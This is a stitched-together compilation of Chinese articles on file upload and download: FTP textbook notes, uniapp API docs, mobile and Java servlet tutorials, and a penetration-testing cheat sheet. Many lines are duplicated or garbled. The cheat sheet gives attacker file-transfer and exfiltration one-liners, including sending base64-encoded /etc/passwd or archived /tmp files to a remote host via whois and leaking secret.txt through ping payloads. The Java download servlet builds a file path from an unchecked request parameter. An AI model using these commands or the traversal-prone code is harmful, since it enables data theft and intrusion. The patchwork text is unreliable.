文件的上传与下载
第六章文件传输与下载

//202.204.128.30),然后按Enter键 //202.204.128.30),然后按Enter键
3.使用FTP工具软件下载 3.使用FTP工具软件下载
► 目前能够用户FTP文件传输的工具软件有许多,例 目前能够用户FTP文件传输的工具软件有许多,例
FTP的工作原理 FTP的工作原理
► FTP服务与其他Internet服务类型相似,也是 FTP服务与其他Internet服务类型相似,也是
采用客户机/服务器工作模式。FTP服务器是 采用客户机/服务器工作模式。FTP服务器是 指提供FTP服务的计算机;FTP客户机是指用 指提供FTP服务的计算机;FTP客户机是指用 户的本地计算机。
流媒体技术原理
流媒体传输协议
第6章 文件传输与下载
6.1 文件传输概述
► ► ►
► ►
►
6.1.1 文件传输的基本概念 文件传输(File transfer)是指通过一条网络连接从远地站点(remote 文件传输(File transfer)是指通过一条网络连接从远地站点(remote site)向本地主机(local host)复制文件。 site)向本地主机(local host)复制文件。 文件传输过程可以遵循不同的传输协议,例如HTTP、FTP、TFTP、 文件传输过程可以遵循不同的传输协议,例如HTTP、FTP、TFTP、 RSTP等多种协议;同时亦可采用不同的工作模式完成文件的传递,例如 RSTP等多种协议;同时亦可采用不同的工作模式完成文件的传递,例如 服务器/客户端模式、P2P模式。 服务器/客户端模式、P2P模式。 文件传输是个广义上的概念,FTP文件传输只是众多文件传输类别中的 文件传输是个广义上的概念,FTP文件传输只是众多文件传输类别中的 一种。 文件传输大多会借助于各种工具软件。例如像CuteFTP、FlashGet等软件 文件传输大多会借助于各种工具软件。例如像CuteFTP、FlashGet等软件 是下载基于FTP/HTTP协议的文件传输,而BitComet、eMule等软件主要 是下载基于FTP/HTTP协议的文件传输,而BitComet、eMule等软件主要 用于P2P工作模式下的文件传输,网络传输带、StreamBox等软件适合于 用于P2P工作模式下的文件传输,网络传输带、StreamBox等软件适合于 下载流媒体类的文件。而在局域网中广泛使用飞鸽传书(IPMsg)、 下载流媒体类的文件。而在局域网中广泛使用飞鸽传书(IPMsg)、 NetMeeting等软件 NetMeeting等软件 值得注意的是目前的下载软件都朝着综合性方面发展的趋势,即下载工 具不再局限于某种单独一类文件类型的传输,而是支持多种协议的文件 下载。例如迅雷等下载工具可以下载几乎所有类型的网络传输文件,这 无疑给用户带来了极大的便捷,用户完全可以根据自己的喜好和需求对 下载工具软件进行选择。
渗透测试之文件上传与下载

渗透测试之⽂件上传与下载⼀、搭建 HTTP server提供下载python2python -m SimpleHTTPServer 1337python3python -m http.server 1337PHP 5.4+php -S 0.0.0.0:1337rubyruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start' ruby -run -e httpd . -p 1337Perlperl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start' perl -MIO::All -e 'io(":8080")->fork->ac cept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'busybox httpdbusybox httpd -f -p 8000apache2/var/www/html #⽹站根⽬录sudo systemctl start apache2 #开启apache2服务⼆、⽂件下载wputwput dir_name ftp://linuxpig:123456@/wgetwget /1.rar -O 1.rarariac2(需安装)aria2c -o owncloud.zip https:///community/owncloud-9.0.0.tar.bz2powershell$p = New-Object .WebClient$p.DownloadFile("http://domain/file","C:%homepath%file")vbs脚本test.vbsSet args = Wscript.Arguments Url = "http://domain/file" dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject(" Adodb.Stream") xHttp.Open "GET", Url, False xHttp.Send with bStrm .type = 1' .open .write xHttp.responseBody .savetofile " C:\%homepath%\file", 2 ' e nd with执⾏:cscript test.vbsPerltest.pl#!/usr/bin/perl use LWP::Simple; getstore("http://domain/file", "file");执⾏:perl test.plPython#!/usr/bin/python import urllib2 u = urllib2.urlopen('http://domain/file') localFile = open('local_file', 'w') localFile.write(u.read()) localFile.close()执⾏:python test.pyRubytest.rb#!/usr/bin/ruby require 'net/http' Net::HTTP.start("") { |http| r = http.get("/file") open("save_location", "wb") { |file| file.write(r.body) } }执⾏:ruby test.rbPHPtest.php<?php $url = '/file'; $path = '/path/to/file'; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = c url_exec($ch); curl_close($ch); file_put_contents($path, $data); ?>执⾏:php test.phpNC attacker本机 cat file | nc -l 1234 target nc host_ip 1234 > fileFTPftp 127.0.0.1 username password get file exitTFTPtftp -i host GET C:%homepath%file location_of_file_on_tftp_serverBitsadminbitsadmin /transfer n http://domain/file c:%homepath%fileWindow ⽂件共享net use x: \127.0.0.1\share /user:userID myPasswordSCP 本地到远程scp file user@:/tmpSCP 远程到本地scp user@:/tmp filersync 远程rsync服务器中拷贝⽂件到本地机rsync -av root@192.168.78.192::www /databack本地机器拷贝⽂件到远程rsync服务器rsync -av /databack root@192.168.78.192::wwwcertutil.execertutil.exe -urlcache -split -f /filecopycopy \\IP\ShareName\file.exe file.exeWHOIS 接收端 Host B:nc -vlnp 1337 | sed "s/ //g" | base64 -d发送端 Host A:whois -h host_ip -p 1337 `cat /etc/passwd | base64`First:ncat -k -l -p 4444 | tee files.b64 #tee to a file so you can make sure you have itNexttar czf - /tmp/* | base64 | xargs -I bits timeout 0.03 whois -h host_ip -p 4444 bitsFinallycat files.b64 | tr -d '\r\n' | base64 -d | tar zxv #to get the files outPING 发送端:xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done接收端ping_receiver.py:ping_receiver.pyimport sys try: from scapy.all import * except: print("Scapy not found, please install scapy: pip install scapy") sys.exit(0) def process_packet(pkt): if pkt.h aslayer(ICMP): if pkt[ICMP].type == 8: data = pkt[ICMP].load[-4:] print(f'{data.decode("utf-8")}', flush=True, end="", sep="") sniff(iface="eth0", prn=proce ss_packet)python3 ping_receiver.py。
文件上传、下载uniapp——uploadFile、downloadFile

⽂件上传、下载uniapp——uploadFile、downloadFileuni.app中中的上传、下载接⼝,分包为和。
uni.uploadFile(OBJECT)定义将本地资源上传到开发者服务器,客户端发起⼀个POST请求,其中content-type为multipart/form-data。
如页⾯通过等接⼝获取到⼀个本地资源的临时⽂件路径后,可通过此接⼝将本地资源上传到指定服务器。
另外选择和上传⾮图像、视频⽂件参考:。
在各个⼩程序平台运⾏时,⽹络相关的 API 在使⽤前需要配置域名⽩名单。
推荐开发者上传到uniCloud,uniCloud提供了免费CDN和更好的易⽤性,包括安全的cdn直传。
uniCloud的上传API:;封装的更完善的,⽂件选择、上传到uniCloud,⼀站式集成。
参数url String是开发者服务器urlfiles Array是(files和filePath选其⼀)需要上传的⽂件列表。
使⽤ files 时,filePath 和 name 不⽣效。
App、H5( 2.6.15+)fileType String见平台差异说明⽂件类型,image/video/audio仅⽀付宝⼩程序,且必填。
file File否要上传的⽂件对象。
仅H5(2.6.15+)⽀持filePath String是(files和filePath选其⼀)要上传⽂件资源的路径。
name String是⽂件对应的 key , 开发者在服务器端通过这个 key 可以获取到⽂件⼆进制内容header Object否HTTP 请求 Header, header 中不能设置 Referer。
timeout Number否超时时间,单位 ms H5(HBuilderX 2.9.9+)、APP(HBuilderX 2.9.9+)formData Object否HTTP 请求中其他额外的 form datasuccess Function否接⼝调⽤成功的回调函数fail Function否接⼝调⽤失败的回调函数complete Function否接⼝调⽤结束的回调函数(调⽤成功、失败都会执⾏)注:App⽀持多⽂件上传,微信⼩程序只⽀持单⽂件上传,传多个⽂件需要反复调⽤本API。
移动应用开发中的文件上传和下载处理

移动应用开发中的文件上传和下载处理在移动应用开发中,文件的上传和下载是一项重要且常见的功能。
无论是社交应用、云存储应用,还是其他各类应用,文件的上传和下载功能都是用户使用频率较高的操作。
因此,开发者需要了解并掌握文件上传和下载的处理方法,以提供更好的用户体验。
一、文件上传处理文件上传是指将本地文件发送到服务器端的过程。
在移动应用中,文件上传通常包括以下几个步骤:1. 选择文件:用户在应用中选择需要上传的文件。
移动设备通常提供了文件选择器,可以浏览本地文件并选择需要上传的文件。
2. 文件压缩:为了节省网络带宽和提高上传速度,一些应用会对选择的文件进行压缩处理。
常见的压缩方式有ZIP和RAR格式,开发者可以根据应用需求选择适合的压缩算法。
3. 文件分片:对于大文件的上传,为了防止网络中断导致上传失败,开发者通常会将大文件进行分片处理,分多次上传。
这样即使网络中断,也只需要重新上传失败的部分。
4. 进度展示:在文件上传过程中,为了让用户了解上传进度,开发者需要在界面中展示上传进度条或百分比。
这样可以提高用户的使用体验,让用户知道文件上传的状态。
5. 上传完成提示:当文件上传完成后,开发者可以在界面中给出上传成功的提示,并提供一些相关操作,如分享链接、保存至云端等。
二、文件下载处理文件下载是指将服务器端的文件下载到本地设备的过程。
在移动应用中,文件下载通常包括以下几个步骤:1. 选择文件:用户在应用中选择需要下载的文件。
开发者可以提供一个文件列表或搜索功能,方便用户找到需要下载的文件。
2. 下载进度展示:与文件上传类似,文件下载过程中也需要展示下载进度,以提高用户体验。
可以通过进度条或百分比的方式展示下载进度,让用户知道文件下载的状态。
3. 断点续传:对于大文件的下载,为了避免下载重复、浪费流量,开发者可以实现断点续传功能。
即当下载中断后,再次下载时只下载未下载完成的部分,从上次下载的位置继续。
4. 文件保存:下载完成后,开发者可以提供选择保存路径、修改文件名等操作,方便用户管理下载的文件。
Java文件上传与文件下载实现方法详解

Java⽂件上传与⽂件下载实现⽅法详解本⽂实例讲述了Java⽂件上传与⽂件下载实现⽅法。
分享给⼤家供⼤家参考,具体如下:Java⽂件上传数据上传是客户端向服务器端上传数据,客户端向服务器发送的所有请求都属于数据上传。
⽂件上传是数据上传的⼀种特例,指客户端向服务器上传⽂件。
即将保存在客户端的⽂件上传⼀个副本到服务器,并保存在服务器中。
1、上传表单要求⽂件上传要求客户端提交特殊的请求——multipart请求,即包含多部分数据的请求。
必须将<form/>标签的enctype属性值设为“multipart/form-data”,enctype表⽰encodingType,及编码类型由于客户端上传⽂件的⼤⼩是不确定的,所以http协议规定,⽂件上传的数据要存放于请求正⽂中,不能出现在URL地址栏内。
也就是说,想要上传⽂件必须提交POST请求。
表单中要有<input type="file" />标签注意:multipart/form-data请求与普通请求不同2、下载⽂件上传jar包并查看官⽅⽂档选择Commons中的FileUpload项⽬,并下载jar包和源⽂件查看FileUpload的⼯作⽅式查看FileUpload项⽬的API3、使⽤第三⽅jar包上传⽂件public class RegisterServlet extends HttpServlet {private static final long serialVersionUID = 1L;public RegisterServlet() {super();}protected void doGet(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {response.getWriter().append("Served at: ").append(request.getContextPath());}protected void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {//第⼀步、判断请求是否为multipart请求if(!ServletFileUpload.isMultipartContent(request)) {throw new RuntimeException("当前请求只⽀持⽂件上传");}try {//第⼆步、创建FileItem⼯⼚DiskFileItemFactory factory = new DiskFileItemFactory();//设置临时⽂件存储⽬录String path = this.getServletContext().getRealPath("/Temp");File temp = new File(path);factory.setRepository(temp);//单位:字节。
Django中的文件上传与下载

Django中的文件上传与下载Django是一个基于Python的开源Web应用框架,它提供了强大的功能和便捷的开发环境,使得开发者能够高效地构建出各种类型的Web应用。
其中,文件上传与下载是Web应用中常见的功能需求之一。
本文将介绍如何在Django中实现文件上传与下载功能。
一、文件上传1.1 文件上传的基本原理文件上传是指将本地的文件通过HTTP协议上传到服务器,使其能够被服务器所识别和存储。
在Django中,我们可以使用Django的Form类和FileField字段来实现文件上传功能。
1.2 创建文件上传表单为了实现文件上传功能,我们首先需要创建一个HTML表单,用于选择待上传的文件。
在Django中,我们可以使用Django的Form类来创建表单,并通过FileField字段指定文件上传的输入框。
```pythonfrom django import formsclass UploadFileForm(forms.Form):file = forms.FileField()```1.3 处理文件上传请求在接收到文件上传请求时,我们需要编写相应的视图函数来处理上传的文件并将其保存到服务器上的指定目录中。
在Django中,我们可以使用request.FILES来获取上传的文件,并通过Python的标准库os 来保存文件。
```pythonimport osdef upload_file(request):if request.method == 'POST':form = UploadFileForm(request.POST, request.FILES)if form.is_valid():file = request.FILES['file']save_path = os.path.join('upload', )with open(save_path, 'wb+') as destination:for chunk in file.chunks():destination.write(chunk)return HttpResponse('文件上传成功')else:form = UploadFileForm()return render(request, 'upload.html', {'form': form})```在上述代码中,我们首先根据请求方法判断是否为文件上传请求,然后通过UploadFileForm类实例化一个表单对象。
文件上传下载测试用例【范本模板】

上传文件和导出的测试用例设计一:上传图片对于上传的文件,假设系统要求上传的文件为jpg或gif格式图片,大小为<=5M的文件,我们在设计测试用例时,应该从以下几个方面进行考虑:1:文件类型正确,文件大小合适的校验例如:上传一种jpg或gif的格式图片,文件大小为4.9M,结果为上传成功2:文件类型正确,文件大小不合适的校验例如:上传一种jpg或gif的格式图片,文件大小为5.1M,提示为:“上传的附件中大小不能超过5M"3:文件类型正确,文件大小合适的校验例如:上传一种jpg或gif的格式图片,文件大小为5M,结果为上传成功4:文件类型错误,文件大小合适的校验例如:上传。
doc;。
xls;ppt;bmp;jpeg;psd;tiff;tga;png;swf;svg;pcx;dxf;wmf;emf;lic;eps;.txt等格式文件,文件大小合适,提示“只能上下jpg或gif格式图片”5:文件类型和文件大小合法,上传一个0kb的图片,提示信息:“请重新上传文件,或者是不能上传0kb的图片"6:文件类型和文件大小合法,上传一个正在使用中的图片(即打开该图片,在上传该图片),上传成功7:文件类型和文件大小合法,手动输入一个存在的图片地址,点击上传,上传成功8:文件类型和文件大小合法,手动输入一个不存在的图片地址,点击上传,提示:“请正确选择要上传的文件”9:文件类型和大小都合法,手动输入一个存在的图片名称,点击上传,一般情况下系统会提示:“请正确选择要上传的文件的路径”二:文件导出1、验证导出文件名长度,根据具体情况而定2、验证导出文件为空的情况3、验证导出文件名为特殊字符的情况4、验证导出全部资料的情况,导出的信息是否正确5、验证导出部分资料的情况,导出的信息是否正确6、验证导出大量数据时的时间是否在合理的时间范围内7、验证导出目的磁盘空间已满的情况下,导出是否有友好的处理方式8、验证导出目的的文件夹为只读的情况下,导出时是否有友好的的提示信息——-----—---—--——----———---———-—-——--———--—-—————--——--—--—-----文件上传:***页面***1、页面美观性、易用性2、按钮文字正确性3、说明文字是否正确4、正确/错误的提示文字是否正确5、提示当前位置是否正确,并且和其他页面保持一致格式6、必添项的标示是否正确***功能***1、路径是否可以手工输入2、上传文件超过最大值是在提交前校验还是提交后校验3、上传文件格式是否全部支持4、上传文件是否支持中文名称5、文件名称的最大值、最小值、特殊字符(包含空格)、使用程序语句是否会对其造成影响、中文名称是否能正常显示6、对于是否发布的设置是否正确7、简介最大值、特殊字符、使用程序语句是否会对其造成影响***按钮***1、保存按钮·对输入项有错误提示后光标提示是否正确·对输入项的错误提示是否描述正确·对必添项是否进行校验2、清空按钮·是否清除了填写内容3、返回按钮·是否返回上一页面文件下载:***页面***1、当前位置的提示是否现实正确2、页面美观性、易用性3、按钮文字是否正确4、说明性文字是否正确5、正确/错误的提示文字是否正确***功能***1、右键另存为是否可以正确下载文件,并且记录下载次数·工具下载是否正确,并且记录下载次数2、单击下载是提示下载还是在页面打开·直接打开是否显示正确·对于本机没有安装工具的文件是否能够打开,是否能给出正确的提示·对于直接在页面内打开的内容是否能够显示正常,页面美观性·保存到本地是否能正确显示·取消下载是否会纪录下载次数3、下载次数是否被正确记录4、后台没有发布的文件是否在前台可以找到并下载5、后台设置了下载权限的文件是否可以被正确看到、是否可以下载***按钮***返回按钮是否回到上一页面再补充一些其他的常见测试点:1、上传文件名测试,检查不符合文件名规范2、上传文件名类型测试,检查不同文件类型是否支持如:.rar,.mp3,avi等3、上传文件大小测试,检查不同文件规格大小如:0字节文件, 1kb,200kb, 2mb, 20mb,2g等4、上传文件容错性测试:如检查覆盖同文件操作;5、上传文件异常情况测试:如硬盘空间不足6、上传文件速率性能测试:检查上传不同的文件在不同的网络环境响应速度,及系统资源占用7、上传文件安全性测试:如上传常见木马8、上传文件易用性测试:检查上传文件操作是否让用户易于学习和理解使用等9、上传文件特性测试:如果支持如断点续传等一些特性10、上传文件后,检查是否与源文件一致,包含目录设置等11、上传文件,是否能打开等本文转自:/haoxiaohui617/article/details/8850702文件上传测试用例SC001 功能测试选择符合要求的文件,上传上传成功SC002 上传成功的文件名称显示显示正常(根据需求SC003 查看,下载上传成功的文件上传的文件可查看或SC004 删除上传成功的文件可删除SC005 替换上传成功的文件可替换SC006 上传文件是否支持中文名称根据需求而定SC007 文件路径是否可手动输入根据需求而定SC008 手动输入正确的文件路径,上传上传成功SC009 手动输入错误的文件路径,上传提示,不能上传SC010 文件大小测试符合格式,总大小稍小于限制大小的文件上传成功SC011 符合格式,总大小等于限制的大小的文件上传成功SC012 符合格式,总大小稍大于限制大小的文件在上传初提示附件过SC013 小为0kb的txt文档不能上传SC014 文件名称测试文件名称过长。
前端开发中的文件上传与下载实现

前端开发中的文件上传与下载实现文件上传和下载是前端开发中经常遇到的功能需求之一。
无论是图片、文档还是音视频文件,通过实现文件上传和下载功能,可以让用户方便地共享和获取文件。
本文将介绍前端开发中实现文件上传和下载的方法和技术。
一、文件上传实现文件上传是指将本地的文件发送到服务器,并将文件保存在服务器的指定位置。
实现文件上传功能通常需要以下几个步骤:1. 创建文件上传表单在页面中创建一个表单,包含一个文件选择框和一个提交按钮。
用户通过文件选择框选择要上传的文件,点击提交按钮触发上传操作。
2. 处理文件上传请求当用户点击提交按钮后,前端需要将选择的文件发送到服务器。
可以通过form表单的提交、ajax请求或者使用File API来实现。
需要注意的是,为了安全起见,我们需要对上传的文件进行一些检查和限制,如文件大小、文件类型等。
3. 服务器接收并保存文件服务器端接收到文件之后,根据预先设定的路径,将文件保存到指定位置。
可以使用后端的编程语言、框架或者中间件来实现文件的接收和保存操作。
4. 返回上传结果上传完成后,前端可以根据服务器返回的结果进行相应的处理,如显示上传成功或失败的提示信息。
二、文件下载实现文件下载是指服务器将文件发送给前端,前端再将文件提供给用户下载。
实现文件下载功能可以分为以下几个步骤:1. 前端发送下载请求用户在页面上点击下载按钮或者链接,前端会发送一个下载请求到服务器。
可以通过a标签的href属性、ajax请求或者其他方式发送下载请求。
2. 服务器处理下载请求服务器接收到下载请求后,根据请求的参数,找到对应的文件,并将文件发送给前端。
服务器需要设置正确的响应头信息,如Content-Disposition、Content-Type等,以便让浏览器正确处理下载文件。
3. 前端接收文件并触发下载前端接收到服务器发送的文件后,可以通过创建一个可下载的链接或者使用File API来触发文件下载。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
文件的上传和下载1.文件上传时继承HttpServlet类,实现里面的destroy(),doGet(),doPost(),init()方法文件上传时,可用doPost()方法,用request.getParameter("")得不到参数值,因为上传时对信息的安全性要求特别高,所以我们借助第三方组件common-fileupload 来解决文件上传问题,首先用类DiskFileUpload产生一个对象,然后解析request,得到一个List集合,然后遍历这个集合,这时要分两种情况,一种是普通的表单控件,另一种是文件上传框,具体操作过程如下:(为了让上传的相同文件不相互覆盖,我们加了一个当前时间变量System.currentTimeMillis())public void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {//文件上传时,用request.getParameter("")得不到参数值,上传时对信息的安全性要求特别高// String username = request.getParameter("username");// System.out.println("username"+username);//利用第三方组件common-fileupload来解决文件上传问题//利用帮助类DiskFileUpload产生一个对象DiskFileUpload dfu = new DiskFileUpload();dfu.setHeaderEncoding("ISO8859-1");try {//解析request,得到一个LIST集合List list =dfu.parseRequest(request);for(Object obj:list){//一个FileItem对应一个组件FileItem fi = (FileItem) obj;//如果是普通的表单控件(非文件上传框)if(fi.isFormField()){String name = fi.getFieldName();//解决中文乱码String content = fi.getString("utf-8");System.out.println("name:"+name+" "+content);}else{//如果是文件上传框String name =new String(fi.getName().getBytes("ISO8859-1"),"utf-8");int index = stIndexOf("\\");name = name.substring(index+1);//解决要上传的文件中的中文问题//name =new String(name.getBytes("ISO8859-1"),"utf-8");System.out.println("name:"+name);//得到文件的内容//方法一// byte[] content = fi.get();// String path =this.getServletContext().getRealPath("/up");// File f = new File(path,name);// if(name!=null && !"".equals(name)){// OutputStream os = new FileOutputStream(f);// os.write(content);// os.close();// }//方法二,读浏览器上传的文件InputStream is = fi.getInputStream();String path =this.getServletContext().getRealPath("/up");if(name!=null && !"".equals(name)){File f =new File(path,System.currentTimeMillis()+"_"+name);OutputStream os = new FileOutputStream(f);int len = 0;byte[] buf = new byte[1024];while((len=is.read(buf))!=-1){os.write(buf,0,len);}is.close();os.close();}}}} catch (FileUploadException e) {e.printStackTrace();}}2.文件的下载a.文件下载时继承HttpServlet类,实现里面的destroy(),doGet(),doPost(),init()方法,此时doGet(),doPost()方法都可以使用,我们使用了doPost()方法,在doGet()方法中调用doPost()方法首先要获取用户的请求,然后到服务器源库去查找有没有该资源,如果有的话就读出来,这就是对流的操作,此时如果出现编码问题,加上response.setContentType("application/octet-stream; charset=" + "utf-8");对其进行修改,了了让浏览器打开附件提示框,我们再加上response.addHeader("content-disposition", "attachment; filename="+ response.encodeURL(f.getName())); 其中attachment表示附件,读完以后一定要注意关闭流下面是doGet()的完整方法:public void doGet(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {doPost(request,response);}public void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {//获取用户的请求String fileName = request.getParameter("fileName");//到服务器源库String rootPath = this.getServletContext().getRealPath("/");System.out.println(rootPath);File f = new File(rootPath+"/download",fileName);if(f.exists()){response.setContentType("application/octet-stream; charset=" + "utf-8");// 让浏览器打开附件提示框response.addHeader("content-disposition", "attachment; filename="+ response.encodeURL(f.getName()));//attachment是附件response.setContentLength((int)f.length());InputStream is = new FileInputStream(f);OutputStream os = response.getOutputStream();int len = 0;byte[] buf = new byte[1024];while((len=is.read(buf))!=-1){os.write(buf, 0, len);}is.close();os.close();}}b.批量下载,继承HttpServlet类,实现里面的destroy(),doGet(),doPost(),init()方法,批量下载用到文件数组,在doGet()方法中调用doPost()方法;public void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {//解决响应的中文乱码response.setCharacterEncoding("utf-8");String path =this.getServletContext().getRealPath("/download");File f = new File(path);File[] fs = f.listFiles();PrintWriter pw = response.getWriter();for(int i=0;i<fs.length;i++){//System.out.println(fs[i]);Pw.println("<a href='download?fileName="+fs[i].getName()+"'>下载</a>");}}。